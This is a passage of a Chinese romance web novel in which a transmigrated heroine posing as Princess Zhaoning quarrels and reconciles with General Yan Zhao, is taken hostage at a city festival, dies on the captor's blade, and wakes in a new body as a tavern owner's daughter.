燕钊脸色骤变,一个箭步冲上前,从柳娘手中将人接过来,声音都绷紧了:“怎么回事?!” 苗悦只觉一双坚实的手臂环住了自己,给她带来了奇异的安全感。 她掀开眼皮,视线模糊了好一阵,才聚焦在燕钊脸上。 燕钊眉头死死拧着,眼中焦灼万分。 他的嘴唇一开一合,似乎在说什么,可苗悦耳朵里像塞了棉花,只有嗡嗡的杂音,什么也听不清。 要结束了…… 她抬起虚软发颤的手臂,用最后一点气力攥住他衣襟,借着力道向上微微一挣,仰起脸,带着孤注一掷的决绝,将自己的唇印在了他的唇上。 触感是如此真实,却又像隔着千山万水。 苗悦将所有的气力都耗在了这一吻上,甚至来不及感受他唇上的温度,便又软了下去。 燕钊手臂收紧,将她箍在怀里。 苗悦气若游丝,固执地说出自己最后的嘱咐。 “一定要……幸福啊……” 然后,她身体一软,彻底被黑暗吞噬。 燕钊将她打横抱起,对吓呆的柳娘喝道:“去叫太医!快!” 柳娘连声应是,转身就跑了出去。 燕钊把苗悦放到床上,盖好被子。 柳娘很快带着刘太医来了。 刘太医在路上已经听了大概,进屋后没多问,直接走到床边,号了会儿脉,之后打开药箱,取出银针,在苗悦手腕和小臂上扎了几针。 行完针,刘太医站起身,对燕钊说:“将军,借一步说话。” 两人走到外间。 刘太医脸色很不好看:“下官再三嘱咐过,公主凤体孱弱,气血两亏经脉虚浮。温泉性热,久泡耗气伤津,血脉涌动,她根本受不住。这才将将调理得稍有起色,怎能如此胡来?” 柳娘小声解释:“夫人实在想泡,我们不忍心……” 刘太医更气了:“公主不懂,将军也不懂吗?公主身子是何等状况,将军难道不知?您这般纵容,岂不是害了她!” 燕钊像犯了错的学生,一直低着头,等刘太医说完,才开口:“是我的错,以后不会了。” 刘太医见他认错态度好,语气缓和了些:“不是下官啰嗦,公主这身子,务必要精细将养,循序渐进,万不可再行险。今日幸得发现及时,下官方才已为她行了针,固住了心脉。再开几剂温补气血的方子,按时煎服,不可再沾寒热激荡之事。” 燕钊点头:“有劳太医,一切但凭太医吩咐。” 刘太医又进去给苗悦把了把脉,将针取下,这才出去开方子。 苗悦把他们的对话一字不落地听完了。 她只昏迷了很短的时间,当燕钊把她放到床上时,她的意识就已经回笼了。 闹了半天,什么天旋地转头晕眼花,不是因为要回去了,是泡热水澡泡虚脱了。 这叫什么事啊,害她凭白送了个初吻。 还当着柳娘的面。 苗悦现在只想找个地缝钻进去,再不要见人了。 刘太医开好方子,又叮嘱几句,提着药箱告辞。柳娘拿着方子去煎药。 燕钊将刘太医送至院门口,折返回来。 苗悦紧闭双眼,假装睡得正沉。 燕钊在床边坐了下来,目光落在她脸上,打量了好一会儿,他开口:“你还想装多久,说一声,我晚些再来。” 苗悦硬撑着不动。 燕钊没等到回应,又开口:“你刚刚……” 苗悦双手揪着被子往上拽,把脑袋整个蒙住。 “不许问,什么都不许问!” 燕钊哭笑不得。他伸出手,想去拉下她蒙头的被子。 扯了两下,里面的人揪得更紧了。 燕钊松开了手。 房中安静下来,苗悦知道事情还没完,提心吊胆地等着。 “什么叫‘一定要幸福’?”燕钊还是问了。 苗悦在被子里瓮声瓮气地抵抗:“我哪知道,我晕倒了,说了什么干了什么,我都不知道。” 燕钊无语,知道她是想耍赖不负责任。 但他心中实在有疑惑,不吐不快。 “你刚刚以为自己要离开了,是吗?原来你知道自己什么时候来什么时候走。” 苗悦想解释,但又没办法解释。 这种沉默,让燕钊肯定了自己的猜测。 他又问:“李晏也知道他要离开了,所以他才选择自杀。那盘点心是早就备好的,即便那天我没出现,他也会这样做,是吧?” 苗悦把脑袋埋得更深,心里已经把不靠谱的李晏翻来覆去骂了八百遍。 不是说回到现实立刻叫醒她吗?都多久了。 燕钊并不需要她的回答,自顾自说了下去:“李晏的死,不是我逼的,也不是什么强大势力在背后作祟,仅仅因为你们到了该离开的时候。” 他停顿了一下,说:“所以,你之前每一次……撞刀也好,救人也罢,都不是意外,是你主动选择的。” 幸亏有这层被子挡着,若是面对面,苗悦真不知道自己的表情会不会出卖一切。 燕钊沉默片刻,再次开口:“我全都猜错了,而你明明知道,却半分也不曾透露,当真厉害。” 苗悦紧紧拽着被角,整个人缩成一团,直想原地消失。 燕钊见她还是装死,说:“你不回答,我就当你默认了。那我们换个话题。” 他顿了顿:“那个吻……” 苗悦“呜咽”一声,在被窝里艰难地转了个身,背对燕钊,委委屈屈地:“做个好人吧,我都这样了,你还要逼我……” 每当她这样撒娇耍赖、放软姿态的时候,燕钊总是拿她没办法。这一招,她百试不爽。 但这回,燕钊似乎没有放过她的打算。 他说:“因为知道自己要走了,所以施舍个吻给我?是怕自己良心不安?还是想让我对你念念不忘?” 苗悦只觉得心里“轰”地一声,像是有什么东西塌了。 她真想告诉燕钊,一个吻而已,哪来那么多深意?不过是情之所至,心之所向罢了。 何必非要抽丝剥茧,剖出个前因后果、利害得失来。 有时候,人太聪明了,当真讨厌得很。 门外传来柳娘的声音:“夫人,将军,药煎好了。” 燕钊起身:“进来吧。” 柳娘端着药碗走进来,立刻感觉到屋里气氛不对。 将军脸色不虞,夫人裹成了茧。 她屏住气息,小心地站在桌边候着。 燕钊对苗悦道:“你先吃药,好好休息。我们的事,等你身体好了再说。” 他又嘱咐柳娘两句,就出了房间,带上了房门。 苗悦听到关门声,等了片刻,一把掀开被子,恨恨地说:“这个死李晏,我真的服了。” 柳娘端着药立在旁边,什么也不敢说,什么也不敢问—— 作者有话说:存稿用完了,好可怕。我发现不管存多少,总有裸更的一天。 因为想让燕钊带着记忆回现实,他得知真相的过程要合理,两个人的情感羁绊要足够深,所以记忆世界没这么快结束。 昭宁公主之后还有一次穿越,然后才回现实。 感谢大家的陪伴[抱拳] 第70章 那日之后, 苗悦与燕钊陷入了一种奇怪的冷战。 燕钊每日仍会到苗悦的院子来。 起初几日,他一来,苗悦便上床蒙头装睡。燕钊在屋内站上一会儿, 见她毫无动静,便默然离去。 后来, 燕钊只在院中驻足, 向柳娘询问几句苗悦的饮食起居, 并不进屋。 再到这两日, 他连院子也不进了, 只远远站在月洞门外朝里望上几眼, 便离开。 府中上下都察觉到异样。 以往几乎形影不离同进同出的将军与夫人, 如今用膳都是各吃各的。 偌大的府邸,因这二人无声的僵持,没了往日的热闹。 柳娘看在眼里, 急在心上, 趁着布菜时, 小心地劝着。 “……这府里终究是将军做主,天大地大, 也大不过夫君去。女子这一生的倚仗,说到底是夫君的怜惜。娘家再显赫, 那也是隔了一层。夫人这般与将军置气,若是寒了将军的心,将来吃苦的还是夫人您自己啊。” “夫人,您就服个软吧。只要您肯对将军说几句软和话,将军定是欢喜的。这日子,总要和和美美地过下去才是正理。” 苗悦也知道这样下去不是办法。 她原本以为,僵上几天, 燕钊总会递个台阶过来,这事便又糊弄过去了。 谁曾想,燕钊这次的耐心和固执远超她预料,非但没有缓和迹象,反而日渐疏远。 看来这次他气得不轻。 可真话是决计不能说的。 实话一出口,记忆世界立时便要崩塌,不仅任务失败,还会把李晏他们也一并坑了。 苗悦不知李晏那边为何耽搁了这么久,但她已做好随时返回现实的准备。 她实在不愿意,记忆世界中的最后时光,是以冷战收场。 明明他们在一起时,那么快乐。 思前想后,苗悦对柳娘说:“今晚派个机灵点的丫头在院门口候着。若是看到将军过来,就让丫头上前说话,就说我一直在等他。但千万不要说是我吩咐的,就说是你们自己瞧出来的,明白吗?” 柳娘心下大慰,连忙应道:“夫人放心,这就去安排!” 这日傍晚,燕钊与杜言在书房处理公务。亲兵进来询问在哪里用晚膳。 燕钊没回答,目光落在面前的公文上,但似乎没看进去。 一旁的杜言见状,对那亲兵道:“备两份,送到书房来。” 亲兵领命退下。 燕钊这才重新提笔。 杜言状似无意地开口:“夫人还是不肯同将军说话?” 燕钊“嗯”了一声,听不出情绪。 “再过半月,便是夏祈节了。”杜言又道,“届时,城中百姓若见不到新夫人,怕是要失望的。” “知道了。”燕钊应道。 杜言将一份卷宗放好,抬眼看他:“将军,光是‘知道’不行。此事总要有个定夺。” 燕钊笔尖重重一顿,一滴浓墨在纸上洇开。 他放下笔,眉宇间是压抑不住的烦躁与深深的无力感。 “我之前以为我猜的已八九不离十。我还心疼她独自扛着压力,甚至主动退让,承诺以后不再逼问。”他自嘲地扯了下嘴角,“原来都是我自作多情。事情根本不是我猜的那样,她不过是顺着我的猜测,往下敷衍罢了。” 他看向窗外:“这些天,我将与她相识以来的种种,反复想了一遍又一遍。我自问,从未真正欺瞒过她,更不曾亏待辜负于她。我给过她一次次机会,希望她能坦诚相对……可她从来都没有真正信过我。” “既如此,我又何必再问?徒惹厌烦罢了。这一回,她若不肯开口,我也不想再猜了。” 这话里,赌气的意味明显。 杜言安静听完,道:“将军的心情,属下明白。可事情僵在这里,终究不是办法,亦非将军行事之风。再者将军就不担心,夫人万一哪天又像之前那样,悄无声息地离开了。到那时,再想寻她,只怕不易。” 燕钊沉默良久,看向杜言:“她不肯信我,也不肯说实话,我又当如何?” 杜言伸出两根手指:“无非两条路。其一,打破砂锅问到底。无论关系如何,必要从她口中撬出实话。将军若心软下不去手,杜某可代为效力。” 燕钊眉头皱紧:“第二条呢。” “那就只能委屈将军,认栽了。”杜言闲闲道,“将主动权全数交予夫人手中。何时她想说,说什么,皆由她。你只需做到不问,不猜,不逼。就算她一辈子都不对你说实话,你也坦然受着就是。” 燕钊眉头拧得死紧,只觉得应付一个女子,比应付百万大军还要劳心费力。 杜言看他那样,笑道:“事已至此,将军还是尽快择定一条,免得自己卡在这不上不下的,平白消耗心绪,影响决策。” 燕钊做完所有的事,推门走出书房时,夜已深沉。 他站在原地,抬头看了看月亮,心想,这个时辰,她应该已经睡下了。 尽管这么想,脚步却不由自主地转向苗悦院落的方向。 快走到时,便见院门口立着一个小丫鬟,正朝他这边张望。 一见到他,那小丫鬟立刻提起裙摆,小跑着迎了上来。 “将军,您可算来了。”小丫鬟行了礼,欢喜道,“夫人今日还未歇下,一直在等着将军呢。” 燕钊心头那点沉郁,被这一句话驱散。 他强压下嘴角上扬的冲动,清了清嗓子,责道:“怎么不早点告诉我。” 小丫鬟惶恐地解释:“回将军,夫人说过不让打扰将军。是柳姐姐怕将军以为夫人睡了,不进来,这才让奴婢在门口候着。” 燕钊没再说什么,快步朝院内走去。 苗悦坐在石凳上,胳膊支着石桌,托着腮,半仰着头望着明月出神。 夜风吹拂她的外衫,身影单薄,安静。 柳娘在不远处候着,面有愁容,见燕钊来了,就要行礼。 燕钊摇头表示不必,放轻脚步走过去。 当他走近,借着月辉看清她时,整个人却僵住了。 她的脸上,满是未干的泪痕。 苗悦察觉到身边的动静,微微侧过头来。 四目相对,她没料到他会突然出现,眼中闪过一丝慌乱,急忙用帕子胡乱地在脸上擦了几下。 她站起身,低下头,强忍哽咽,轻声说:“将军,你来了……” 燕钊拧眉,正要开口,苗悦抢先打断了他。 “我也知道,你气我瞒你、骗你。”苗悦深吸一口气,抚着心口,强撑着不让眼泪掉下来,“可我不是存心要骗你。我怕一旦说了实话,就不得不离开这里,不得不……离开你。” 她哽咽着:“我舍不得将军,我真的舍不得。像这样在你身边,哪怕只是说说话,看看你,对我来说,都像做梦一样。我怎么忍心亲手打破这个梦。” 眼泪噗噜噜地掉下来,苗悦别过脸去,用帕子按了按眼角。 “可我也知道,我总是用谎话搪塞你,你心中定然不快,对我有了芥蒂。我心里也像压着块石头,日夜难安。” 她轻轻叹气,心酸又认命:“罢了……真情如梦,终有醒时。与将军在一起的这些时光,于我,已是上天厚赐,不敢再奢求更多了。将军待我的好,我都记着。既然你如此想知道真相,那我今日,便都告诉你。” 她抬起泪眼,望进他眼底:“只愿真相大白后,将军念在往日情分,容我一个人悄悄离开……别让我走时的狼狈样子,污了将军的眼。” 燕钊的眉头不知何时已经展开,他静静地看着她。 苗悦有些不安,但事已至此,话都说出来了,也只能硬着头皮继续。 “我现在就告诉你,其实……我的真实身份是……” 燕钊抬手,食指点在她唇上,止住了她后面所有的话。 苗悦大松一口气。 又赌对了。 燕钊的手指没有移开,略带 薄茧的指腹摩擦着柔软的唇瓣,缓缓向下,划过她精巧的下巴,一用力,迫使她完全抬起头,迎上他的目光。 他的动作并不粗鲁,却暗含不容置疑的力量。 燕钊垂眼,目光落在她脸上,很仔细地打量她的眼睛。 “你在撒谎。”他说,“直到现在,你仍然觉得可以用眼泪和几句漂亮话,把我打发了。” 苗悦心脏怦怦的跳,她怀疑昭宁公主的心脏病要犯了。 她下意识想扭开头,避开他的视线。 燕钊捏着她下巴的手指稍稍加力,不许她躲。 “你满口谎言,虚情假意……”他咬着牙,挤出一句话,“但是我认了。” “真相,我自己去查。”他道,“但你要答应我一件事。” 苗悦问:“什么事。” “无论你是谁,无论你身在何处,变成何种模样,你都要回来,回到我身边。” 苗悦知道自己只需要点点头就可以了,但她竟然点不下去。 她深知,如果自己再换个身体,势必要远远躲开燕钊以保证记忆世界平稳运行。 他刚刚揭穿她的谎言,她就要再欺骗他一次。 燕钊看出她的迟疑,轻嗤一声,自嘲道:“我该感谢你,在这个时候倒不想骗我了。” 他松开了捏着她下巴的手,转身要走。 苗悦忽然伸出手,抓住了他的手。 十指相触的那一刻,两人俱是一怔。 燕钊的手干燥温热,而苗悦的手,在衡州六月潮热的空气里,凉得像一块冰。 燕钊立刻皱起眉,想反握住她,生生忍住了。 苗悦说:“我是骗过你很多,但我对你说的那句话,是真的。”她顿了顿,“燕钊,我是真的……希望你幸福。” 燕钊看向她:“因为你以为自己要离开了。人之将死,其言也善吗?” 苗悦说:“我没有一直骗你。和你在一起的快乐是真的,喜欢你是真的,希望你过得好也是真的。你信也好,不信也罢。反正话都说到这了,我不会再厚着脸皮来找你,也就没机会再骗你了。” 她要松手,指尖才一动,又被他反握住。 “照你这么说,”他逼近半步,“那个吻……也是真的了?” 苗悦微怔,抬眼望向他。 下一秒,燕钊手臂收紧,将她整个人带进怀里。 灼人的吻,重重落了下来。《 》 70-80 第71章 老话说, 床头打架床尾和。 苗悦虽然没结过婚,也没在床上跟人打过架,但她现在觉得, 这话多少有些道理。 自她那个冲动的告别之吻后,燕钊对她起了疑心, 两人冷战几天。 如今第二个吻过去, 他们和好啦。 至少在苗悦看来, 他们和好啦。 至于燕钊那边是不是也同样这么认为, 苗悦拿不准。 换位思考, 如果自己是燕钊, 喜欢的人揣着那么大一个秘密, 死活不说,还不许问,心里肯定憋得难受。 苗悦对燕钊多少是有愧疚的, 可转念想想, 又觉得这愧疚来的多余。 记忆世界里发生的一切, 对燕钊来说,终究不过是大梦一场, 醒来便会忘记。 真正可怜的,是她自己, 她可是要带着关于两个人所有的记忆,回到现实的。 既然如此,她不如在这梦里,多给自己攒点实实在在的美好体验。 燕钊此刻再酸涩难熬,等回到现实,也不过是消散的梦境。 这么一想,苗悦心里那点愧疚, 也找到了平衡,不再那么沉甸甸地压着她了。 同样开心的还有柳娘。 虽说她到现在也没弄明白,将军和夫人之间那场不快究竟因何而起。 在她看来,不过是夫人泡温泉后身子虚脱晕了一回,将军便莫名其妙地冷了脸,生生闹了几日别扭。 症结在哪儿,柳娘说不清。但破局的关窍,她可是看得真真儿的。 就在将军主动低头的那个吻里。 那晚过后,夫人眼角眉梢都是掩不住的松快。 要不怎么说老话在理呢,床头打架床尾和。 柳娘是个过来人,再明白不过了。 她手持玉梳,灵活地为苗悦挽起长发。 “夫人,您瞧这支珍珠发钗可好?色泽温润,最是衬您的气质。” 苗悦瞥了一眼,那珠子虽好,颜色却过于素净了。 她目光一转,看到一支镶着碧玺的赤金步摇,明艳的红色煞是夺目。 “戴那支试试。”她指了指。 柳娘依言为她簪上。 鲜艳欲滴的红色衬着镜中人毫无血色的脸颊,非但未能增添亮色,反显得那面容愈发苍白脆弱,有种头重脚轻的突兀感。 苗悦对着镜子端详片刻,轻轻“啧”了一声,遗憾地将步摇取了下来。 “还是换那支银镶玉的簪子吧。” 柳娘忙接过,为她重新簪好,宽慰道:“将军喜爱的是夫人您这个人,无论簪环首饰是艳是素,在将军眼里都是一样的。”她顿了顿,又笑着补充,“再说,夏祈节上,满街的姑娘媳妇儿,哪个不是穿红着绿、争奇斗艳。反倒夫人这般清雅脱俗,更显特别,保管叫人一眼就瞧见。” 燕钊前几天同苗悦说起过夏祈节。这是衡州城一年中最重要的节日。 在那天,城主将携夫人至城隍庙主殿,为全城百姓焚香祈愿。礼成后,一同登上庙前彩楼,接受百姓朝贺,并向楼下抛洒象征吉祥的五谷、彩缕与金银箔花。 届时,他们还要在众人注目下品尝今年第一杯花酿酒,并一同系上崭新的丰登绦,以示对衡州城的祝福,并祈愿来年风调雨顺,城中经济持续繁荣。 燕钊说起这些时,语气平平,末了还添了一句:“你若觉得身体不适,不必勉强。这些都是场面上的虚礼,不去也无妨。” 苗悦当即摇头,认真道:“我一定要去的。在百姓眼里,这些可不是虚礼,而是秩序,看到这些,他们心里才会觉得安稳。再说,这是掌管衡州城后第一个重要节日,我更要站在你身边,告诉所有人这座城谁是主宰,谁在为民祈福。让那些觊觎你位置的小人知难而退。” 燕钊后来将这话告诉了杜言。 杜言捋着胡子,笑道:“还真和石红玉有些像。” 燕钊道:“哪里像,就是一个人。” 夏祈节的前一天,燕钊将乌木腕扣拿给了苗悦。 “时间不够,还是只能放两根针,不过机关部分都用了陨铁,触发十分流畅,射程和力道都比之前的强。” 苗悦当即试了一次。 一道乌光疾射而出,去势凌厉,去掉了回收用的丝线,成了一件彻头彻尾的暗器。 “明天人多眼杂,我会安排护卫保护你。你自己贴身带着这个,也算多一层防备。” 苗悦笑起来,随口道:“放心,当年我一个人从长安……” 话说到一半,她猛地住了口,眼神飘忽了一下。 燕钊看了她一眼,并未追问。 苗悦问起别的:“我听说,周隐还被你扣在衡州,不让他回长安。” 燕钊道:“我以为他知道些李晏的底细,现在看来,他连自己主子换了人都没察觉。放他回去更麻烦,徒增事端。他若愿意为我效力,我便让他在杜言手下领个差事。若是不愿……再说吧。” 苗悦抿了抿唇,没再吱声。 夏祈节当日,天还未亮透,衡州城便已苏醒。 城隍庙前的广场及周边几条主街,被摩肩接踵的人群挤 得水泄不通。 各种声音混作一片喧嚣的海洋,到处是攒动的人头和鲜艳的衣裳,真如柳娘所说,满城的人都将最鲜亮的行头穿了出来。 吉时将至,钟鼓齐鸣。 燕钊携苗悦出现在城隍庙前。 燕钊一身玄色暗纹锦袍,腰束玉带,身姿挺拔,面容沉静。 苗悦则是一身水青色织锦宫装,鬓边簪着素银镶玉的簪子,在周遭一片姹紫嫣红中,确实清雅醒目。 两人一出现,广场上便爆发出震耳欲聋的欢呼。 百姓们自动分开一条道路,目光热切地追随着他们的城主与夫人,甚至有人激动地跪拜下去,口中喃喃着祈福的话语。 燕钊步履沉稳,苗悦仪态得体。 两人脸上都带着笑意,偶尔向两侧的百姓颔首致意。 无数道视线黏在苗悦身上,好奇的、羡慕的、祝福的。 行走在这汹涌的人潮与炽热的注视中,苗悦的心涨得发酸。 一种前所未有的重量压上肩头,却又奇异地催生出澎湃的力量,仿佛这真的是她的城,她的民。 仪式按部就班。在城隍庙主殿焚香祈福,过程庄严肃穆。 燕钊始终在苗悦身旁,时而搭手扶着她。 祈福仪式结束,二人移步彩楼。 彩楼之下,祝成锦早已垂手恭候。 他今日也是一身簇新的赭色团花锦袍,脸上带着恭敬与喜气,见二人过来,立刻上前两步,笑着引路:“请将军与夫人登楼。” 祝家从上上代家主开始,便承担了夏祈节的大小事务,祭品采办、场地布置到流程安排,都有专人负责。 祝成锦接管此事也快二十年了,对此间的每一个环节都了如指掌,此刻侍立在侧,俨然是这场盛典不可或缺的重要人物。 彩楼高两余丈,披红挂彩,俯瞰着下方黑压压的人海。 燕钊与苗悦并肩立于栏前,接受百姓朝贺。 苗悦从侍从捧着的金盘中抓起大把的五谷、彩缕、金银箔花,扬手洒向楼下。 人群顿时沸腾,无数手臂高举,争抢着这些象征吉祥的赐物,欢呼声浪一波高过一波。 澎湃的心潮在苗悦胸中激荡,风声、欢呼声、心跳声混在一起,让她血脉偾张。 若非这场奇诡的穿越,她此生都无缘体会此情此景。 她忍不住侧过头,望向身旁的燕钊。 燕钊似有所感,亦在同一时间转头望来。 在宽大礼服袖摆的遮掩下,燕钊的手悄然探出,握住了苗悦的手。 苗悦笑意更深,指尖在他掌心轻轻回勾了一下。 侍女奉上两盏白玉杯,杯中琥珀色的酒液微微荡漾,是今年夏日第一杯花酿。 燕钊与苗悦同时举杯,在无数目光注视下,齐齐饮下。 礼官随即奉上一条以金黄赤红丝线编成缀满饱满五谷的丰登绦。 燕钊与苗悦各执一端,共同将其系在彩楼最高处的朱漆栏杆上。 红绦在风中飘动,缀着的谷粒微微摇晃,昭示着丰饶与安泰。 楼下再次爆发出热烈的欢呼与祝福。 顶着烈日,一套流程走下来,苗悦面上虽还撑着,后背的衣裳却已被薄汗浸湿,呼吸也有些不匀。 这具身体到底还是虚弱。 祝成锦见状,适时上前一步,低声道:“将军,夫人,祭祀大礼已毕。按往年惯例,夫人此时便可移步后园精舍稍作歇息。那里已备下清茶与冰盆,最是清静解乏。不知公主殿下是否需要人引路前往?” 燕钊对苗悦道:“你去歇歇。柳娘,照顾好夫人。” 他又点了四名身着常服的亲兵:“你们护送夫人去后院,守在厢房外,不得让闲杂人等靠近。” 亲兵齐声应是。 苗悦也不再强撑,轻声道:“那我先去歇会儿。”又对祝成锦微微颔首,“有劳祝先生费心安排。” 祝成锦连道不敢,命家仆引路,领着苗悦下彩楼,朝城隍庙后院走去。 第72章 城隍庙后院果然僻静, 与前头的喧嚣恍如两个世界。 祝家家仆在一处小巧的四合院门前停下,恭敬道:“夫人,便是此处了。里面一应物事都已备齐, 您请安心歇息,若有任何需要, 只管吩咐门外下人。” 苗悦点点头, 在柳娘搀扶下走进院子。 院内青砖铺地, 植着几丛翠竹, 清新雅致。正房内陈设简洁, 桌案椅凳一尘不染, 靠墙的榻上铺着崭新的锦被, 透着股阳光晒过的干净味道。 柳娘服侍她坐下,又倒了温水,轻声道:“夫人不如就在这榻上躺下歇息一会儿?这锦被看着都是新换的, 很干净。” 苗悦确实疲惫, 四肢百骸都沉重不堪。 她点点头, 褪去外衫和鞋袜,躺了下来。 柳娘为她掖好被角, 放下半边床帐,轻手轻脚地退到外间, 掩上了门。 门外,四名亲兵按刀肃立,将小院守得严严实实。 苗悦闭上眼,朦胧中翻了个身,床板发出一声轻微的闷响。 这声音不对。 作为一个常年与机关暗道打交道的“贼”,苗悦对房屋结构、家具声响有着超出常人的敏感。 她坐起身,掀开锦被, 在褥子上按了按,又屈指在床板上敲了几下。 声音空洞。 苗悦探身,去看床脚与地面的接缝处。 果然,那缝隙的大小高低,与床板的厚度及承重该有的状态略有出入,下面并非实心地基。 这床有问题! 她刚意识到这一点,正欲离开,床板却猛地向下一陷。 苗悦反应极快,借力向侧面一滚,险险避开了洞口,狼狈地摔在脚踏上,同时厉声喝道:“有刺客!” “咔嚓”一声,一个黑黢黢的洞口赫然出现在床榻中央。 两条黑影鬼魅般自那洞中跃出,手中寒光闪烁,直扑向她。 距离太近,苗悦没时间瞄准,只凭着感觉抬手,腕扣机关轻动,一枚短针激射而出,直奔当先一人面门。 那黑衣人没料到她有此一招,仓促间侧身,短针没入他肩头。 这一下阻了对方来势,却也彻底激怒了两人。 苗悦不停歇,又瞄向另一人,但距离实在太近,已经来不及了。 那人已抢至近前,手中钢刀一横,刀刃便压上了苗悦脖颈。 “别动!”挟持她的黑衣人低吼着。 守在门外的四名亲兵冲入房中,见状迅速拔刀将两名黑衣人连同苗悦围在当中,却不敢上前。 柳娘脸色煞白,扭头就往外跑,去找燕钊了。 “退出去!否则我杀了她!”那黑衣人将刀锋又逼近一分。 亲兵们投鼠忌器,进也不是,退也不是。 那中了针了黑衣人恨恨地啐了一口,也抽刀架在苗悦脖子上。 苗悦冷声斥道:“放肆!我乃昭宁公主,圣上亲封!尔等鼠辈,敢对皇室动手,是要诛九族的大罪!” 那握刀的手微微一颤,苗悦的威慑似乎起了作用。 “公主殿下金枝玉叶,小民岂敢冒犯。对皇室,对您,小民心中万分敬仰,绝无不轨之心。今日之举,实属无奈。”黑衣人话锋一转,寒意森森,“谁让您已是燕夫人,接下来,是礼敬有加,还是刀剑无眼,全看燕将军如何抉择了。他若识相,您自然毫发无伤,他若不顾您的死活……” 一阵急促的脚步声传来,燕钊的身影出现在门口,他身后还跟着杜言及数名亲兵。 除此之外,还有祝成锦。 燕钊一眼看清屋内情形,目光在苗悦脖颈的血痕上凝了一瞬,周身气息变得冰寒刺骨。 他抬手,止住了欲开口的杜言,目光如刀,锁住那名黑衣人。 祝成锦眉头紧皱,脸色极为难看。 他并不知道是苗悦先行察觉床板有异,才迫使黑衣人提前动手。 他只觉眼前这刀兵相向、公然挟持的场面,与他的计划截然不同。 他本意是悄无声息绑走公主,胁迫燕钊孤身赴约,再于自己的地盘设伏围杀。 若燕钊不来,那便行离间之计,让公主对“罔顾发妻性命”的燕钊心灰意冷,再借此事在民间散播燕钊“薄情寡义”、“不顾妻子死活”,毁其名望,挑动民怨。 可如今这般闹开,计划全乱,进退两难。 “燕钊狗贼!”那黑衣人见到正主,眼中恨意滔天,嘶声控诉,“你屠我满门,悬尸示众,辱我父兄!此仇不共戴天!今日我便要你血债血偿!” 燕钊冷冷道:“可惜,怎么把你漏了。” “你!”那黑衣人气得几 乎吐血,刀锋凑近,又在苗悦颈上划出一道血口,“好!既然你如此冷血,那我今日便杀了公主,让你也尝尝痛失所爱的滋味!” “不可!” “住手!” 祝成锦和燕钊几乎同时出声喝止。 黑衣人见状,眼中闪过疯狂与快意,他看了一眼祝成锦。 祝成锦极轻极轻地摇了摇头。事已至此,刺杀燕钊已无可能。 黑衣人绝望了,握着刀的手在发抖。 他看向燕钊,目光中有恨,有悲,更有不惜同归于尽的癫狂。 祝成锦劝道:“壮士万不可冲动。公主殿下金枝玉叶,何其无辜。你若伤了她,便是与朝廷为敌,届时天威震怒,岂是个人所能承担。这滔天大祸,只怕要牵连到衡州百姓身上。” 他声音压低,带着某种暗示:“我相信,那绝非你想看到的。” 黑衣人迟疑了,但转瞬那刀尖又逼紧一分。 “我今日来,就没打算活着回去。我本意只想用我的命,换燕钊的命!如今我杀不了你,但要我就这么放了你夫人,绝无可能!” 他死死盯着燕钊:“你若还想救她,就跪下!跪在我面前,对我枉死的家人们磕头认罪!” “燕钊,”他声音拔高,“公主是死是活,就看你了。” 所有人的目光都集中在燕钊身上。 以燕钊的骄傲,让他当众下跪,比杀了他还难。 杜言上前半步,凑到燕钊身后,低声说:“他不敢。” 燕钊攥紧了拳,眼底情绪翻涌,尽是艰难取舍的挣扎。 他看向苗悦。 苗悦朝他一笑:“你知道的,我不怕死。” 这句话除了他二人,只有杜言听得懂,他微微点心,在心中为公主点了个赞。 燕钊看着苗悦颈间的血痕,看着她平静的眼神,拳头捏得咯咯作响。 她是不怕死,但她也未必会回来找他。 这个认知像一把冰冷的锥子,刺穿了燕钊所有的坚持和骄傲。 她越平静,他越害怕。 什么将军威仪,什么男人尊严,在“她可能彻底消失”这个念头面前,变得轻飘飘的。 燕钊牙关咬得死紧,几乎尝到了血腥味。 膝盖带着碾碎骨血般的艰涩,一点点弯下去。 杜言大惊,伸手就要去拦。 黑衣人眼中冒出狂喜之色。 祝成锦压着嘴角,悄悄后退一步。 杀不了燕钊,搓搓他的锐气也是可以的。 “燕钊。”苗悦又叫住他。 燕钊动作一顿,抬眼望向她。 苗悦说:“一定要幸福啊。” 下一瞬,在所有人反应过来之前,苗悦脖颈朝后,向刀锋狠狠撞去。 似乎没有多痛,她已经习惯了。 其实这样结束也挺好的。 作为公主的昭宁死在了燕钊眼前,即便不能加深燕钊忠君思想,也至少不会出现反效果。 对苗悦而言,她能在最后时刻,知道燕钊不惜为了自己下跪,这份情,足够她一生怀念了。 苗悦眼前再次出现熟悉的扭曲画面,以及燕钊那张写满了惊骇与绝望的脸。 唉……让我直接回到现实吧…… 苗悦睁着眼,一切像是浸在水中的墨画,轮廓扭曲,光影浮动。 渐渐的,那些扭曲的色块与线条沉淀归位,变得清晰而稳定。 最先感受到的,是眼皮上暖融融的、略有些晃眼的光。 她微微偏头,避开那道从窗户斜射进来的光柱。 阳光明亮,细小的尘埃在光柱里缓缓浮动。 她躺在一张普通的木床上,没有繁复的雕花,料子也寻常,但床板结实,躺上去没有吱呀乱响。 身上盖的被子是芦花填充的,有些分量,压在身上很实在,被面是棉布,洗得有些发白,触感还算柔软。 苗悦伸手,在被窝里摸索,确定这是一个年轻健康的女孩子身体。 她转转眼珠,打量这间屋子。 房间不大,靠墙立着一个半旧的木柜。临窗摆着一张同样质地的木桌,桌上放着竹编的笔筒,里面插着几支毛笔,一方砚台,几本线装书码在桌角,封皮有些卷边。墙上挂着个竹篮,里面放着些针线和没做完的绣活。 无论是家具的成色,还是那些书本、笔墨,都表明这里的主人并非为生计发愁的赤贫之家。 没有多余的装饰,没有贵重的物件,但常用之物不算新,也绝不破旧,有一种细水长流过日子的踏实。 楼下传来挪动桌椅的“吱呀”声,还有水泼在地上的“哗啦”声,大概是有人在洒扫。 空气里浮动着经年累月沉淀下来的酒糟气味。 紧接着,属于这具新身体的记忆涌入脑海。 此时距离昭宁公主死在燕钊面前,又过去了两年多。 苗悦默默计算,再有四个多月,记忆世界与现实的时间节点便会重合。 到那时,无论李晏是否呼唤,苗悦都将自然醒来,回归现实。 这具身体名叫花锁儿,十九岁,未婚。 她的父亲本是个小商人,七年前外出贩货时,恰逢战乱突起,失了音讯。 从那以后,花锁儿便与母亲朱小婉相依为命,靠父亲多年经商攒下的家底过日子。 两年前,母女二人从老家搬来衡州城。 当时杜言急于发展商业,入城条件定得没那么高,只要能在城中开起小生意的就可以。 于是朱小婉用手中最后的银钱,盘下了一间临街的小酒馆。 生意谈不上红火,胜在开得早,两年下来攒了些熟客,勉强维持母女俩生活。 